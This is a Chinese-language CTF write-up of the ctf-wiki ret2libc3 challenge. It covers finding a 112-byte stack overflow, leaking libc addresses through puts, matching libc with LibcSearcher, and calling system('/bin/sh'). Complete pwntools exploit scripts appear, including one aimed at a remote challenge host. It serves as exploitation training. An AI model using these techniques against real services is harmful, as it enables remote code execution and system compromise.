题目来源
下载位置: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3
PS:内容来自于CTF-WIKI
分析
文件类型
(pwn) ┌──(kali㉿kali)-[~/pwn/ret2libc3-libc?]
└─$ file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped
这是一个次啊用动态链接库编译的32位EILF文件
软件防护
(pwn) ┌──(kali㉿kali)-[~/pwn/ret2libc3-libc?]
└─$ checksec ret2libc3
[*] '/home/kali/pwn/ret2libc3-libc?/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
NX是开启的,PIE关闭,这基本就是代表了不能自己写入命令去执行。但是可以拿到对应bss、text、data相关的一些固定信息。
IDA分析
简单看了一下,ida中main函数内容如下
然后还有一个secure
函数,里面没有有帮助的内容,如下
然后ida中还有一个bss buf2可以用,但是那个似乎只能在低版本内核中使用,这里就不考虑了。其他有用信息基本没有。。
攻击
攻击思路
根据ida的内容,主要围绕main函数进行,这里只有一个栈溢出漏洞存在,并且没有system函数和sh字符串可以用,并且这道题目并没有给我们libc库,我们需要通过自己构造执行流,在题目系统中,大概率是开启ASLR的,地址也随即,我们还需要通过自己构造的执行流是心啊反弹地址的一个功能,拿到地址通过特征去libc-database中寻找可能的libc版本,再去确定偏移然后通过偏移找到system的位置,到这一步之后我们还可以通过构造执行流去获取一个sh
字符串,或者说是从程序、libc中拿到一个sh
字符串。
栈溢出位数
使用pwndbg调试,查看位数的位置应该是在gets函数执行过后,内如如下
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────
*EAX 0xffffd10c ◂— 'hello'
EBX 0xf7f9ce14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */
*ECX 0xf7f9e8ac (_IO_stdfile_0_lock) ◂— 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x80486a0 (__libc_csu_init) ◂— push ebp
EBP 0xffffd178 ◂— 0
ESP 0xffffd0f0 —▸ 0xffffd10c ◂— 'hello'
*EIP 0x804868f (main+119) ◂— mov eax, 0
0xffffd178-0xffffd10c=108+4=112
攻击脚本
elf = ELF("./ret2libc3")
pop_ebp_addr = 0x080486FF
payload = flat(
[
b"a" * 112,
elf.plt["puts"],
pop_ebp_addr,
elf.got["puts"],
elf.symbols["main"],
]
)
这里干了三件事,首先溢出并且通过puts函数把puts函数真实在内存中的地址输出出来,然后栈平衡一下继续重新运行mian函数。拿到这个地址之后可以通过libcsearch这个库去搜索对应的libc库
具体代码如下
io.sendlineafter(b"!?", payload)
libc_start_main_leak = io.recvline()
leak_bytes = libc_start_main_leak[:4]
addr = u32(leak_bytes)
print(hex(addr))
libc = LibcSearcher("puts", addr)
offset = addr - libc.dump("puts")
上面的操作是拿到地址之后去libcsearch中搜索对应可能的libc,在ASLR中,他的偏移范围都是按照页的倍数去虚拟化内存地址的,一个页就是4096
,4096的16进制是1000
,所以后面的三位就不会变化,libcsearch就是通过这个后三位去模糊匹配。运行的时候他会弹出一个选择框,如下图
这些都是有可能的libc库,但是因为libcsearch好久没有更新了,而且libc都是7年前的了,只有老版本的这种题目可以使用,新版本的libc可以去libc-database项目区查询。最终通过猜到的libc拿到对应的偏移区去尝试工具,因为上面组装的payload继续运行了main,就是说我们还可以继续溢出,再次构建一个payload,代码如下
payload2 = flat(
[
b"a" * 112,
libc.dump("system") + offset,
0xDEADBEEF,
libc.dump("str_bin_sh") + offset,
]
)
这里继续溢出了112,因为上面咱们通过pop_ebp_addr
栈平衡了一下,所以偏移不会变,后续通过模糊搜索的libc中的system函数+偏移去执行它,后面的参数也是通过libc去查找。
完整的攻击脚本如下
from pwn import *
from LibcSearcher import LibcSearcher
io = remote("pod.ctf.wlaq", "30922")
elf = ELF("./ret2libc3")
pop_ebp_addr = 0x080486FF
payload = flat(
[
b"a" * 112,
elf.plt["puts"],
pop_ebp_addr,
elf.got["puts"],
elf.symbols["main"],
]
)
io.sendlineafter(b"!?", payload)
puts_leak = io.recvline()
leak_bytes = puts_leak[:4]
addr = u32(leak_bytes)
print(hex(addr))
libc = LibcSearcher("puts", addr)
offset = addr - libc.dump("puts")
payload2 = flat(
[
b"a" * 112,
libc.dump("system") + offset,
0xDEADBEEF,
libc.dump("str_bin_sh") + offset,
]
)
io.sendline(payload2)
io.interactive()
这里要注意的是,如果运行题目的libc版本太高,通过libcsearch估计是做不出来的,得自己通过libc-database项目去找。
CTF-WIKI-EXP分析
去分析一下ctf-wiki提供的exp,代码如下
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
主要的区别在于他后面的溢出是104位,原因是因为它第一次溢出构造反弹真实函数地址的时候,他没有进行栈平衡,代码如下
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
这里他返回地址直接填到了mian,运行完puts直接执行main,当它这个main执行的时候,栈内的数据应该是空的,然后因为函数调用他会把ebp压栈,所以会多一个4的位置,然后继续开辟一个位置为100的s
char s[100]
那么esp的位置距离ret就是104,所以第二个payload需要溢出104。